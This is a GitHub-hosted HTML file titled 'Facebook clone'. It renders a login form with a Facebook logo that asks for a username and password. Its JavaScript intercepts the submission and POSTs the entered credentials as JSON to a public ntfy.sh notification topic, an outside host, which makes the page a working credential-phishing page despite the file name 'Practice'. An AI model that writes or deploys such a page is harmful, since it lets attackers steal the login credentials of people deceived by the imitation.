-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathPractice.html
More file actions
109 lines (103 loc) · 2.79 KB
/
Practice.html
File metadata and controls
109 lines (103 loc) · 2.79 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
<!doctype html>
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<style type="text/css" media="all">
body {
background: #bbdefb;
}
a i {
scale: 3;
margin: 20px 0;
color: #0d47a1;
}
form {
width: 250px;
height: 400px;
background: #e3f2fd;
background: #90caf9;
margin: 40% auto;
display: flex;
justify-content: center;
align-items: center;
flex-direction: column;
gap: 17px;
border-radius: 10px;
box-shadow: rgba(0, 0, 0, 0.24) 0px 3px 8px;
}
@media (min-width: 400px) {
form {
width: 500px;
}
}
input {
padding: 10px 8px;
border-radius: 8px;
border: 2px solid #fff;
outline: none;
box-shadow: rgba(0, 0, 0, 0.16) 0px 1px 4px;
}
button {
box-shadow: rgba(0, 0, 0, 0.16) 0px 1px 4px;
border: none;
border-radius: 5px;
padding: 10px 20px;
color: #0d47a1;
font-weight: bold;
background: #fff;
}
::placeholder {
color: #ccc;
font-weight: 600;
}
</style>
<link
rel="stylesheet"
href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.1.0/css/all.css"
integrity="sha512-ajhUYg8JAATDFejqbeN7KbF2zyPbbqz04dgOLyGcYEk/MJD3V+HJhJLKvJ2VVlqrr4PwHeGTTWxbI+8teA7snw=="
crossorigin="anonymous"
referrerpolicy="no-referrer" />
<title>Facebook clone</title>
</head>
<body>
<form id="myForm" action="https://ntfy.sh/FormHandleByGul" method="post">
<a href="#"><i class="fab fa-facebook-f"></i></a>
<input type="text" name="username" id="" value="" placeholder="User name" />
<input
type="password"
name="password"
id=""
value=""
placeholder="password" />
<button type="submit">Log in</button>
</form>
<script type="text/javascript" charset="utf-8">
document.getElementById("myForm").addEventListener("submit", function (e) {
e.preventDefault(); // Prevent the default form submission
const formData = new FormData(e.target); // Create a FormData object from the form
console.log("Form data Object "+ FormData)
const url = "https://ntfy.sh/FormHandleByGul"; // Replace with your API endpoint
console.log(formData.forEach(data => console.log(data + " >> formdata loop")));
const jsonData = {};
formData.forEach((value, key) => {
console.log(key)
jsonData[key] = value;
});
console.log(jsonData)
fetch(url, {
method: "POST",
body: JSON.stringify(jsonData) // Send the form data as is
})
.then(response => response.json())
.then(data => {
console.log("Response data");
console.log(data); // Handle the response data
})
.catch(error => {
console.error("Error:", error);
});
});
</script>
</body>
</html>